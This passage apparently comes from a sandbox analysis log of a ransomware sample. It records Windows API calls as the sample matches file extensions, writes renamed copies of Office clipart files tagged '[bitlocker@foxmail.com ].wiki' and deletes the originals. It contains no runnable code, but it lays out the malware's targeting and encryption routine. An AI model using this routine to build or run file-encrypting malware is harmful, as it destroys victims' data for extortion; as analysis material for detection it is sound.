1 [0189.309] lstrlenW (lpString=".rar") returned 4 [0189.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.309] lstrlenW (lpString=".bz2") returned 4 [0189.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.309] lstrlenW (lpString=".7z") returned 3 [0189.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString=".dbf") returned 4 [0189.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString=".1cd") returned 4 [0189.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString=".jpg") returned 4 [0189.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString=".doc") returned 4 [0189.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString=".docx") returned 5 [0189.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.310] lstrlenW (lpString=".pdf") returned 4 [0189.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString=".xls") returned 4 [0189.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.310] lstrlenW (lpString=".xlsx") returned 5 [0189.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.310] lstrlenW (lpString=".ppt") returned 4 [0189.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.310] lstrlenW (lpString=".zip") returned 4 [0189.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.310] lstrlenW (lpString=".rar") returned 4 [0189.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString=".bz2") returned 4 [0189.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.310] lstrlenW (lpString=".7z") returned 3 [0189.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.311] lstrlenW (lpString=".dbf") returned 4 [0189.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.311] lstrlenW (lpString=".1cd") returned 4 [0189.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.311] lstrlenW (lpString=".jpg") returned 4 [0189.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.311] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.311] lstrlenW (lpString="FD02153_.WMF") returned 12 [0189.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.311] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5392) returned 1 [0189.311] CloseHandle (hObject=0x1f8) returned 1 [0189.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0189.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.312] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.312] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.312] GetLastError () returned 0x0 [0189.312] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1510, lpOverlapped=0x0) returned 1 [0189.314] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1520, lpOverlapped=0x0) returned 1 [0189.315] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.315] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.315] SetEndOfFile (hFile=0x1f4) returned 1 [0189.315] CloseHandle (hObject=0x1f4) returned 1 [0189.315] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.315] SetEndOfFile (hFile=0x1f8) returned 1 [0189.316] CloseHandle (hObject=0x1f8) returned 1 [0189.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.317] lstrlenW (lpString=".doc") returned 4 [0189.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString=".docx") returned 5 [0189.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.317] lstrlenW (lpString=".pdf") returned 4 [0189.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString=".xls") returned 4 [0189.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.317] lstrlenW (lpString=".xlsx") returned 5 [0189.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.317] lstrlenW (lpString=".ppt") returned 4 [0189.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.317] lstrlenW (lpString=".zip") returned 4 [0189.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.317] lstrlenW (lpString=".rar") returned 4 [0189.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString=".bz2") returned 4 [0189.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString=".7z") returned 3 [0189.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.317] lstrlenW (lpString=".dbf") returned 4 [0189.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.317] lstrlenW (lpString=".1cd") returned 4 [0189.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".jpg") returned 4 [0189.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".doc") returned 4 [0189.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString=".docx") returned 5 [0189.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.318] lstrlenW (lpString=".pdf") returned 4 [0189.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString=".xls") returned 4 [0189.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.318] lstrlenW (lpString=".xlsx") returned 5 [0189.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.318] lstrlenW (lpString=".ppt") returned 4 [0189.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".zip") returned 4 [0189.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.318] lstrlenW (lpString=".rar") returned 4 [0189.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString=".bz2") returned 4 [0189.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString=".7z") returned 3 [0189.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".dbf") returned 4 [0189.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".1cd") returned 4 [0189.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0189.318] lstrlenW (lpString=".jpg") returned 4 [0189.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.319] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.319] lstrlenW (lpString="FD02158_.WMF") returned 12 [0189.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.319] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1648) returned 1 [0189.319] CloseHandle (hObject=0x1f8) returned 1 [0189.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0189.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.320] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.320] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.320] GetLastError () returned 0x0 [0189.320] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x670, lpOverlapped=0x0) returned 1 [0189.322] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x680, lpOverlapped=0x0) returned 1 [0189.323] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.323] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.323] SetEndOfFile (hFile=0x1f4) returned 1 [0189.323] CloseHandle (hObject=0x1f4) returned 1 [0189.323] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.323] SetEndOfFile (hFile=0x1f8) returned 1 [0189.324] CloseHandle (hObject=0x1f8) returned 1 [0189.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0189.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.324] lstrlenW (lpString=".doc") returned 4 [0189.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.324] lstrlenW (lpString=".docx") returned 5 [0189.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.325] lstrlenW (lpString=".pdf") returned 4 [0189.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString=".xls") returned 4 [0189.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.325] lstrlenW (lpString=".xlsx") returned 5 [0189.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.325] lstrlenW (lpString=".ppt") returned 4 [0189.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString=".zip") returned 4 [0189.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.325] lstrlenW (lpString=".rar") returned 4 [0189.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString=".bz2") returned 4 [0189.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString=".7z") returned 3 [0189.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString=".dbf") returned 4 [0189.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString=".1cd") returned 4 [0189.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString=".jpg") returned 4 [0189.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.325] lstrlenW (lpString=".doc") returned 4 [0189.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString=".docx") returned 5 [0189.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.326] lstrlenW (lpString=".pdf") returned 4 [0189.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString=".xls") returned 4 [0189.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.326] lstrlenW (lpString=".xlsx") returned 5 [0189.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.326] lstrlenW (lpString=".ppt") returned 4 [0189.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.326] lstrlenW (lpString=".zip") returned 4 [0189.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.326] lstrlenW (lpString=".rar") returned 4 [0189.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString=".bz2") returned 4 [0189.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString=".7z") returned 3 [0189.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.326] lstrlenW (lpString=".dbf") returned 4 [0189.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.326] lstrlenW (lpString=".1cd") returned 4 [0189.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0189.326] lstrlenW (lpString=".jpg") returned 4 [0189.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.327] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.327] lstrlenW (lpString="FD02161_.WMF") returned 12 [0189.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.327] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3128) returned 1 [0189.327] CloseHandle (hObject=0x1f8) returned 1 [0189.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0189.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.327] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.327] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.328] GetLastError () returned 0x0 [0189.328] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xc38, lpOverlapped=0x0) returned 1 [0189.332] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0189.333] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.333] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.333] SetEndOfFile (hFile=0x1f4) returned 1 [0189.333] CloseHandle (hObject=0x1f4) returned 1 [0189.333] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.333] SetEndOfFile (hFile=0x1f8) returned 1 [0189.334] CloseHandle (hObject=0x1f8) returned 1 [0189.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0189.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.334] lstrlenW (lpString=".doc") returned 4 [0189.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.334] lstrlenW (lpString=".docx") returned 5 [0189.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.334] lstrlenW (lpString=".pdf") returned 4 [0189.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.334] lstrlenW (lpString=".xls") returned 4 [0189.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.334] lstrlenW (lpString=".xlsx") returned 5 [0189.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.334] lstrlenW (lpString=".ppt") returned 4 [0189.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.334] lstrlenW (lpString=".zip") returned 4 [0189.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.335] lstrlenW (lpString=".rar") returned 4 [0189.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString=".bz2") returned 4 [0189.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.335] lstrlenW (lpString=".7z") returned 3 [0189.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0189.335] lstrlenW (lpString=".dbf") returned 4 